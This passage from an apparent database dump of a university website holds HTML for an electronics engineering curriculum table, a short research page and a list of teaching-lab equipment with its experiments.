style=\"background-color:#00ccff\">Designing\r\n  Radio Electronic Devices</td>\r\n  <td width=\"53\" style=\"background-color:#00ccff\">3</td>\r\n  <td style=\"background-color:#00ccff\">6</td>\r\n  <td style=\"background-color:#00ccff\"></td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\" style=\"background-color:#00ccff\">ETR 346</td>\r\n  <td width=\"229\" style=\"background-color:#00ccff\">Telecommunication\r\n  Networks</td>\r\n  <td width=\"66\" style=\"background-color:#00ccff\">3</td>\r\n  <td style=\"background-color:#00ccff\">6</td>\r\n  <td style=\"background-color:#00ccff\">&nbsp;</td>\r\n  <td style=\"background-color:#00ccff\">ETR 375</td>\r\n  <td width=\"234\" style=\"background-color:#00ccff\">Theory\r\n  of Reception, Processing and Transmission of Images&nbsp;</td>\r\n  <td width=\"53\" style=\"background-color:#00ccff\">3</td>\r\n  <td style=\"background-color:#00ccff\">6</td>\r\n  <td style=\"background-color:#00ccff\"></td>\r\n </tr>\r\n <tr height=\"35\">\r\n  <td height=\"35\" style=\"background-color:#00ccff\">ETR 393</td>\r\n  <td width=\"229\" style=\"background-color:#00ccff\">Basics\r\n  of Circuitry</td>\r\n  <td style=\"background-color:#00ccff\">3</td>\r\n  <td style=\"background-color:#00ccff\">6</td>\r\n  <td style=\"background-color:#00ccff\">&nbsp;</td>\r\n  <td style=\"background-color:#00ccff\">CIV 215</td>\r\n  <td width=\"234\" style=\"background-color:#00ccff\">Engineering\r\n  Drawing</td>\r\n  <td width=\"53\" style=\"background-color:#00ccff\">3</td>\r\n  <td style=\"background-color:#00ccff\">6</td>\r\n  <td style=\"background-color:#00ccff\"></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" style=\"background-color:#00ccff\">&nbsp;</td>\r\n  <td width=\"229\" style=\"background-color:#00ccff\">Elective\r\n  (major)***</td>\r\n  <td style=\"background-color:#00ccff\">3</td>\r\n  <td style=\"background-color:#00ccff\">6</td>\r\n  <td style=\"background-color:#00ccff\">&nbsp;</td>\r\n  <td style=\"background-color:#00ccff\"></td>\r\n  <td width=\"234\" style=\"background-color:#00ccff\">Elective\r\n  (major)***</td>\r\n  <td width=\"53\" style=\"background-color:#00ccff\">3</td>\r\n  <td style=\"background-color:#00ccff\">6</td>\r\n  <td style=\"background-color:#00ccff\"></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" style=\"background-color:#00ccff\">&nbsp;</td>\r\n  <td width=\"229\" style=\"background-color:#00ccff\">Humanity*</td>\r\n  <td width=\"66\" style=\"background-color:#00ccff\">3</td>\r\n  <td style=\"background-color:#00ccff\">6</td>\r\n  <td style=\"background-color:#00ccff\">&nbsp;</td>\r\n  <td style=\"background-color:#00ccff\">&nbsp;</td>\r\n  <td width=\"234\" style=\"background-color:#00ccff\">Humanity*</td>\r\n  <td width=\"53\" style=\"background-color:#00ccff\">3</td>\r\n  <td style=\"background-color:#00ccff\">6</td>\r\n  <td style=\"background-color:#00ccff\"></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" style=\"background-color:#00ccff\">&nbsp;</td>\r\n  <td width=\"229\" style=\"background-color:#00ccff\">&nbsp;</td>\r\n  <td style=\"background-color:#00ccff\">&nbsp;</td>\r\n  <td style=\"background-color:#00ccff\">&nbsp;</td>\r\n  <td style=\"background-color:#00ccff\">&nbsp;</td>\r\n  <td style=\"background-color:#00ccff\">ETR 395</td>\r\n  <td width=\"234\" style=\"background-color:#00ccff\">Summer\r\n  Internship</td>\r\n  <td width=\"53\" style=\"background-color:#00ccff\">3</td>\r\n  <td style=\"background-color:#00ccff\">6</td>\r\n  <td style=\"background-color:#00ccff\"></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#00ccff\">&nbsp;</td>\r\n  <td width=\"229\" style=\"background-color:#00ccff\">Credit</td>\r\n  <td style=\"background-color:#00ccff\">15</td>\r\n  <td style=\"background-color:#00ccff\">30</td>\r\n  <td style=\"background-color:#00ccff\">&nbsp;</td>\r\n  <td style=\"background-color:#00ccff\">&nbsp;</td>\r\n  <td width=\"234\" style=\"background-color:#00ccff\">Credit</td>\r\n  <td style=\"background-color:#00ccff\">18</td>\r\n  <td style=\"background-color:#00ccff\">36</td>\r\n  <td style=\"background-color:#00ccff\"></td>\r\n </tr>\r\n <tr height=\"33\">\r\n  <td height=\"33\">&nbsp;</td>\r\n  <td width=\"229\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"27\">\r\n  <td height=\"27\"></td>\r\n  <td colspan=\"8\"><strong>4<sup>th</sup>-Year</strong></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ff99ff\">CODE</td>\r\n  <td style=\"background-color:#ff99ff\">Fall Semester</td>\r\n  <td style=\"background-color:#ff99ff\">KU</td>\r\n  <td style=\"background-color:#ff99ff\">ECTS</td>\r\n  <td style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td style=\"background-color:#ff99ff\">CODE</td>\r\n  <td width=\"234\" style=\"background-color:#ff99ff\">Spring Semester</td>\r\n  <td style=\"background-color:#ff99ff\">KU</td>\r\n  <td style=\"background-color:#ff99ff\">ECTS</td>\r\n  <td style=\"background-color:#ff99ff\"></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" style=\"background-color:#ff99ff\">ETR 408</td>\r\n  <td width=\"229\" style=\"background-color:#ff99ff\">Electrodynamics</td>\r\n  <td width=\"66\" style=\"background-color:#ff99ff\">3</td>\r\n  <td style=\"background-color:#ff99ff\">6</td>\r\n  <td style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td style=\"background-color:#ff99ff\">ETR 482</td>\r\n  <td width=\"234\" style=\"background-color:#ff99ff\">Electronic\r\n  Systems and Technologies</td>\r\n  <td width=\"53\" style=\"background-color:#ff99ff\">3</td>\r\n  <td style=\"background-color:#ff99ff\">6</td>\r\n  <td style=\"background-color:#ff99ff\"></td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\" style=\"background-color:#ff99ff\">ENV 305</td>\r\n  <td width=\"229\" style=\"background-color:#ff99ff\">HS&amp;E</td>\r\n  <td width=\"66\" style=\"background-color:#ff99ff\">3</td>\r\n  <td style=\"background-color:#ff99ff\">6</td>\r\n  <td style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td style=\"background-color:#ff99ff\">ETR 476</td>\r\n  <td width=\"234\" style=\"background-color:#ff99ff\">Radio\r\n  Transmitting and Antenna Devices&nbsp;</td>\r\n  <td width=\"53\" style=\"background-color:#ff99ff\">3</td>\r\n  <td style=\"background-color:#ff99ff\">6</td>\r\n  <td style=\"background-color:#ff99ff\"></td>\r\n </tr>\r\n <tr height=\"38\">\r\n  <td height=\"38\" style=\"background-color:#ff99ff\">ETR 401</td>\r\n  <td width=\"229\" style=\"background-color:#ff99ff\">Wireless\r\n  Communication Technology</td>\r\n  <td width=\"66\" style=\"background-color:#ff99ff\">3</td>\r\n  <td style=\"background-color:#ff99ff\">6</td>\r\n  <td style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td style=\"background-color:#ff99ff\">ETR 487</td>\r\n  <td width=\"234\" style=\"background-color:#ff99ff\">Electric\r\n  Communication Theory</td>\r\n  <td width=\"53\" style=\"background-color:#ff99ff\">3</td>\r\n  <td style=\"background-color:#ff99ff\">6</td>\r\n  <td style=\"background-color:#ff99ff\"></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" style=\"background-color:#ff99ff\">ETR 466</td>\r\n  <td width=\"229\" style=\"background-color:#ff99ff\">Electrical\r\n  Power Supply</td>\r\n  <td width=\"66\" style=\"background-color:#ff99ff\">3</td>\r\n  <td style=\"background-color:#ff99ff\">6</td>\r\n  <td style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td width=\"234\" style=\"background-color:#ff99ff\">Elective\r\n  (major)***</td>\r\n  <td width=\"53\" style=\"background-color:#ff99ff\">3</td>\r\n  <td style=\"background-color:#ff99ff\">6</td>\r\n  <td style=\"background-color:#ff99ff\"></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\" style=\"background-color:#ff99ff\">ETR 454</td>\r\n  <td width=\"229\" style=\"background-color:#ff99ff\">Signals\r\n  and Systems</td>\r\n  <td width=\"66\" style=\"background-color:#ff99ff\">3</td>\r\n  <td style=\"background-color:#ff99ff\">6</td>\r\n  <td style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td width=\"234\" style=\"background-color:#ff99ff\">Elective\r\n  (major)***</td>\r\n  <td style=\"background-color:#ff99ff\">3</td>\r\n  <td style=\"background-color:#ff99ff\">6</td>\r\n  <td style=\"background-color:#ff99ff\"></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\" style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td width=\"229\" style=\"background-color:#ff99ff\">Credit</td>\r\n  <td style=\"background-color:#ff99ff\">15</td>\r\n  <td style=\"background-color:#ff99ff\">30</td>\r\n  <td style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td style=\"background-color:#ff99ff\">&nbsp;</td>\r\n  <td width=\"234\" style=\"background-color:#ff99ff\">Credit</td>\r\n  <td style=\"background-color:#ff99ff\">15</td>\r\n  <td style=\"background-color:#ff99ff\">30</td>\r\n  <td style=\"background-color:#ff99ff\"></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\"></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"25\">\r\n  <td height=\"25\"></td>\r\n  <td>Total Credits for Graduation</td>\r\n  <td>128</td>\r\n  <td>256</td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\"></td>\r\n  <td><strong style=\"color:#990000\">ELECTIVES</strong></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>* Humanity Courses List:</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>***Major Electives List:</td>\r\n  <td>KU</td>\r\n  <td>ECTS</td>\r\n  <td>Semestr</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">PHIL 130</td>\r\n  <td>Culture of Philosophy</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>ETR 211</td>\r\n  <td>Semiconductor Devices\r\n  and Modeling&nbsp;</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>III</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>Foreign Language</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>EENG 250</td>\r\n  <td>Electrical\r\n  Engineering&nbsp;</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>III</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>ETR 312</td>\r\n  <td>Fundamentals of\r\n  Microwaves</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>VI</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">&nbsp;</td>\r\n  <td>** Social Sciences</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>ETR 390</td>\r\n  <td>Control Systems</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>VI</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">MGT310</td>\r\n  <td>Management and\r\n  Organization</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>ETR 490</td>\r\n  <td>Optical Communication\r\n  Engineering</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>VIII</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">LAW 220</td>\r\n  <td>Family Law</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>ETR 461</td>\r\n  <td>Robotics</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>VIII</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">ECON 101</td>\r\n  <td>Introduction to\r\n  Economics</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>ETR 416</td>\r\n  <td>Power Convertion&nbsp;</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>VIII</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>ETR 463</td>\r\n  <td>Digital\r\n  Microelectronics&nbsp;</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>VIII</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>KU</td>\r\n  <td>ECTS</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>University\r\n  Requirement English</td>\r\n  <td>11</td>\r\n  <td>22</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>Science and\r\n  Technology</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>University\r\n  Requirement Azeri</td>\r\n  <td>8</td>\r\n  <td>16</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">MATH 101</td>\r\n  <td>Calculus 1</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Humanity</td>\r\n  <td>6</td>\r\n  <td>12</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">CMS 202</td>\r\n  <td>Computer Application\r\n  in Engineering</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Social Sciences</td>\r\n  <td>6</td>\r\n  <td>12</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">ENV 305</td>\r\n  <td>HS&amp;E</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Science and\r\n  Technology</td>\r\n  <td>9</td>\r\n  <td>18</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Major Courses</td>\r\n  <td>88</td>\r\n  <td>176</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td><strong>Total</strong></td>\r\n  <td>128</td>\r\n  <td>256</td>\r\n  <td>&nbsp;</td>\r\n </tr></tbody></table>  <br></strong></div>'),(465,299,'en','Research','','<p>The department along with the academic program at the same\r\ntime created the conditions for students to do scientific research work\r\nindependently. For this purpose, applied and research laboratories were\r\nestablished at the department. Currently research is being carried out at the\r\ndepartment in these areas:</p>\r\n<p>&nbsp;• alternative energy sources and equipment converting\r\nsolar energy to electric power</p>\r\n<p>&nbsp;• new bioengineering equipment, design and study of\r\nbiologically active points</p><p><a href=\"http://www.khazar.org/files/pdf/solar_car.pdf\"><strong>Solar Car</strong></a></p>'),(466,300,'en','Equipment','','<div><p>At the department’s laboratory the following&nbsp;modern\r\nlarge-scale teaching systems are available:</p><p>(The equipment is delivered from the firm K&amp;H MFG. CO.,\r\nLTD., TAIWAN.)</p><h3><strong style=\"font-size:large\">BASIC\r\nCOMMUNICATION LAB&nbsp;</strong></h3></div><div><img src=\"/files/image/1 (2).jpg\" style=\"width:600px;height:451px;margin:7px\"><br></div><div><p>The KL-900A offers an experiment for fundamental-level topics\r\nof a telecommunication course. It enables the students to acquire a clear\r\nexperimental&nbsp;</p><p>view of the basic concepts and become familiar with the operative\r\naspects of the work in the telecommunication laboratory.</p><p><br></p><p><strong>ANALOG COMMUNICATION&nbsp;</strong></p><p>- RF Oscillator Experiment&nbsp;<br>- Second Order LPF &amp; HPF Experiment&nbsp;<br>- AM Modulator Experiment&nbsp;<br>- AM Demodulator Experiment&nbsp;<br>- DSB-SC and SSB Modulator Experiment&nbsp;<br>- DSB-SC and SSB Demodulator Experiment&nbsp;<br>- FM Modulator Experiment&nbsp;<br>- FM Demodulator Experiment&nbsp;<br>- PLL Frequency Synthesizer&nbsp;<br>- TDM Multiplexer Experiments&nbsp;<br>- TDM Demultiplexer Experiments&nbsp;<br>- FDM Multiplexer Experiments&nbsp;<br>- FDM Demultiplexer Experiments&nbsp;<br>- Multiplier Frequency Up/Down Converter Experiment&nbsp;<br>- Carrier Frequency Recovery Experiment&nbsp;<br>- Synchronal Clock Recovery Experiment  <br></p><p><br></p><p><strong>DIGITAL COMMUNICATION&nbsp;</strong></p><p>-&nbsp;Analog&nbsp;to&nbsp;Digital&nbsp;Experiment&nbsp;<br>- Digital to Analog Experiment&nbsp;<br>- PWM Modulator Experiment&nbsp;<br>-&nbsp;PWM&nbsp;Demodulator&nbsp;Experiment&nbsp;<br>- FSK Modulator Experiment&nbsp;<br>- FSK Demodulator Experiment&nbsp;<br>-&nbsp;CVSD&nbsp;Modulators&nbsp;&amp;&nbsp;Demodulators&nbsp;/&nbsp;Manchester&nbsp;Code&nbsp;<br>&nbsp;Encode / Decode&nbsp;<br>- ASK Modulator / Demodulator&nbsp;<br>- PSK / QPSK Modulator / Demodulator  <br></p><p><br></p><p>-The trainer combines the basic modules with experimental\r\ncircuits. It offers the beginner complete courses of basic Communication.</p>\r\n<p>-KL-900A is equipped with a power supply and signal unit.\r\nStudents only have to obtain the&nbsp;oscilloscope or Spectrum Analyzer\r\ntogether for completing various experiments independently.</p>\r\n<p>-With an open-modularized design, it enables ranges of\r\nexperiments to be extended.</p><h3><strong style=\"font-size:large\">•&nbsp;AM/FM TRANSMITTER &amp; RECEIVER SYSTEM</strong></h3>\r\n<p>AM transmitter which is perfect to produce 1MHz<br>\r\nAM receiver frequency range : 535KHz ~ 1605KHz<br>\r\nWith perfect FM transmitter which is able to produce 10.7MHz Intermediate\r\nfrequency.<br>\r\nFM receiver frequency range : 88MHz~108MHz</p>  <img src=\"/files/image/1%20(8).jpg\" style=\"border:0px  #000000;width:600px;height:451px;margin:7px;vertical-align:baseline\"><h3><span style=\"font-size:large\">•&nbsp;FIBER-OPTIC\r\nTRANSMISSION TRAINING SYSTEM </span> <br></h3><p><img src=\"/files/image/1%20(6).jpg\" style=\"width:600px;height:451px;margin:7px\"><br></p><p>Fiber optic communication is one of the most popular\r\ntechnologies in the modern days due to its high transfer speed and large\r\ncapacity.&nbsp;<br>\r\nKL-900D uses fiber optic as a transmission media for the whole\r\nexperiment.&nbsp;&nbsp;<br>\r\nWith four different ways of transmittng data (self module transmission,\r\nmodule-to-module transmission, PC-to-module transmission, and module-to-PC\r\ntrans-missions) and various different modulation/demodulation methods (CVSD,\r\nFSK, etc.) introduced in the training system, users can obtain a very clear\r\nview of how Fiber-optic transmission works.</p><p>- Characteristics of fiber optics experiment<br>\r\n- Applications of fiber optics experiment<br>\r\n- Light sources of fiber optics<br>\r\n- Light and fiber optics interaction experiment<br>\r\n- Fiber optic transmitters experiment<br>\r\n- Receivers for fiber optic system experiment<br>\r\n- Fiber optic expand and network experiment<br>\r\n- Fiber optic connectors and lose-polishing experiment<br>\r\n- Fiber optical data-transmission-self-transceiver experiment<br>\r\n- Fiber optical data-transmission-double-transceiver&nbsp;experiment<br>\r\n- Fiber optical data-transmission - PC to Module experiment<br>\r\n- Fiber optical data-transmission - Module to PC experiment<br>\r\n- Fiber optical data-transmission - CVSD modulation &amp; demodulation\r\nexperiment (optional)<br>\r\n- Fiber optical data-transmission - ASK modulation &amp;&nbsp; demodulation\r\nexperiment (optional)<br>\r\n- Fiber optical data-transmission - PSK/QPSK modulation &amp; demodulation\r\nexperiment (optional)</p>\r\n<p>&nbsp;</p>\r\n<p><strong>EXPERIMENT MODULES</strong></p><p>\r\n- 2mm connection leads are used throughout the system<br>\r\n- The building blocks and components symbols of the circuits are printed on the\r\nsurface of each module.<br>\r\n- Modules are secured in plastic housings (255 x 165 x 30 mm ±10%)<br>\r\n- Comprehensive experimental manual<br>\r\n- Use bridge plugs on circuit loop to reduce the possibility&nbsp;of errors&nbsp;</p><h3><span style=\"font-size:large\">•&nbsp;BASIC ELECTRICITY CIRCUIT LAB </span> <br></h3><p>KL-210 is ideal for Electrical, Mechanical, Automative,\r\nAutomotive, Science, Civil &amp; Electronics Engineering Learning. The\r\nexperiment requires for all necessary equipment for electric circuit\r\nexperiments such as power supplies, function generators, and analog and digital\r\nmeters to be installed on the main unit.&nbsp;<br>\r\nAll essential topics of electrical circuit learning are studied by different\r\nmodules.</p><p>- Ideal for students to learn the design of electrical,\r\nelectronics<br>\r\n&nbsp;&nbsp;and digital logic circuits.<br>\r\n- For efficient learning, power supply, function generator&nbsp;and measurement\r\nunit are all included.<br>\r\n- All supply units are secured with overload protection.<br>\r\n- With one main unit, the user can choose the needed modules for&nbsp;different\r\nlearning topics.</p>  <h3 style=\"font-size:large\">•&nbsp;BIOMEDICAL MEASUREMENT SYSTEM</h3>  <p><img src=\"/files/image/1%20(3).jpg\" style=\"width:600px;height:451px;margin:7px\"><br></p><p>This equipment is intended for students to learn with\r\npractical operation how to design specific measuring circuits and detect\r\nthe&nbsp;basic physiological signals. Moreover, students come to understand the\r\nelectrical characteristics of the sensors and transducers explicitly.<br>\r\nKL-720 contains nine modules, including Electrocardiogram Measurement,\r\nElectromyogram Measurement, Electrooculogram Measurement, Electroencephalogram\r\nMeasurement, Blood Pressure Measurement, Photoplethysmogram Measurement,\r\nRespiratory Ventilation Detection, Pulse Meter and Body Impedance Detection.<br>\r\nThe sensors and transducers used in this equipment include pressure transducers,\r\ninfrared photocouplers, strain gauges, temperature sensors and surface\r\nelectrodes.<br>\r\nEach module has many test points for changing the frequency, bandwidth and\r\namplifier’s gain.&nbsp; Thus students can understand the correlation between\r\nthe physiological signal and each circuit stage.</p><p>- KL-75001 Electrocardiogram(ECG) Measurement&nbsp;<br>\r\n- KL-75002 Electromyogram (EMG) Measurement&nbsp;<br>\r\n- KL-75003 Electrooculogram (EOG) Measurement&nbsp;<br>\r\n- KL-75004 Electroencephalogram (EEG) Measurement&nbsp;<br>\r\n- KL-75005 Blood Pressure Measurement<br>\r\n- KL-75006 Photoplethysmogram Measurement<br>\r\n- KL-75007 Respiratory Ventilation Detection<br>\r\n- KL-75008 Pulse Meter<br>\r\n- KL-75009 Body Impedance Detection</p>  <p><strong>EXPERIMENT MODULE FEATURES</strong></p><p>\r\n- All terminals on the module accept 2mm plugs.<br>\r\n- Circuit symbols, blocks and components are printed on the surface of each\r\nmodule.<br>\r\n- Modules are secured in plastic housings.<br>\r\n- Dimension : 255x165x30mm ± 10%<br>\r\n- Modules have storage cabinet for easy storing<br>\r\n- Comprehensive experiment and instructor’s manuals are provided.&nbsp;</p>\r\n<h3><br>\r\n<span style=\"font-size:large\">•&nbsp;COMPLETE INDUSTRIAL ELECTRONIC TRAINER</span></h3>\r\n<p>It has become important nowadays to train technicians to be\r\nable to install and maintain electronic equipment.&nbsp;&nbsp;<br>\r\nA good technician should&nbsp;follow state-of-the-art technology and&nbsp;rapid\r\nproducts innovation.&nbsp;<br>\r\nOur system is intended for this technical education. In fact, KL-500 is adapted\r\nto theoretical and practical courses for studying power electronics and\r\nindustrial electronics.</p>\r\n<p>- Power Supply Unit Experiment<br>\r\n- UJT Experiments<br>\r\n- PUT Experiments<br>\r\n- PUT &amp; SCR Experiments<br>\r\n- SCS Experiment<br>\r\n- UJT &amp; PUT Trigger SCR Experiments<br>\r\n- SCR Control DC Motor &amp; DIAC, TRIAC<br>\r\n- Automatic Control Lamp, TRIAC Control Speed Experiments<br>\r\n- Temperature Radio, Photo-Couple and Touch Control Experiments<br>\r\n- Over/Under Voltage Breaker and Flasher Control Experiments<br>\r\n- TRIAC Liquid Level &amp; IC Timer Switch Experiments<br>\r\n- Digital Signal Driver &amp; Zero-Voltage Switch Experiments<br>\r\n- Zero-Voltage Switch Experiments<br>\r\n- SCR Converter Experiments<br>\r\n- SCR Rectifier Circuit Experiments<br>\r\n- JFET/MOSFET Characteristic &amp; MOSFET Speed Control Experiments<br>\r\n- IGBT Characteristic &amp; IGBT Speed Control Experiments</p>\r\n<p>- Comprehensive study including theoretical study and\r\npractical exercises<br>\r\n- Use of industrial-type components, devices and circuits</p>  <p><img src=\"/files/image/1%20(4).jpg\" style=\"width:600px;height:451px;margin:7px\"><br></p><h3 style=\"font-size:large\">• LOGIC LAB</h3><p>The IDL-400 logic trainer is designed for the logic\r\nbeginners to enhance the comprehension of basic logical theory. The design of\r\nIDL-400 is easy to operate and understand. It is equipped with various kinds of\r\nbasic logic gates, debounced logical switches, LED indicators, DC power supply\r\nwith short circuit protection, pulse generator and solderless breadboard.</p>  <img src=\"/files/image/1%20(7).jpg\" style=\"width:600px;height:451px;margin:7px\"></div><div><h3 style=\"font-size:large\">• ANALOG LAB</h3><div>&nbsp; The IDL-600 logic trainer is designed for the\r\nbeginners to enhance the comprehension of analog theory. The design of IDL-600\r\nis easy to operate and easy to understand.&nbsp;</div>  <img src=\"/files/image/1%20(1).jpg\" style=\"width:600px;height:451px;margin:7px\"><h3 style=\"font-size:large\">• DIGITAL LAB</h3><div>The IDL-800&nbsp;Digital Lab is designed for the beginners\r\nto enhance the comprehension of logic and analog theory. The design of IDL-800\r\nis easy to operate and understand.</div>  <img src=\"/files/image/1%20(5).jpg\" style=\"width:600px;height:800px;margin:7px\"><div><p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:center\"=\"\"><br></p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\"><strong>• ALTERNATIVE ENERGY LAB</strong></p>\r\n<p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;text-align:justify\"\"=\"\">GES-100&nbsp;&nbsp; </p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\">SOLAR CELL TRAINER\r\n(INCLUDING GES-18001, GES-13001, GES-13003 DAQ FOR WINDOWS 7/VISTA/XP/2000 AND\r\nGES-19001 ACCESSORIES CONTAIN GES-18002 AND TES-1333 SOLAR POWER METER)</p>\r\n<p style=\"\" margin-top:0cm;margin-right:0cm;margin-bottom:.0001pt;margin-left:36.0pt;text-align:justify\"\"=\"\">DPS-1303AP - DUAL DC 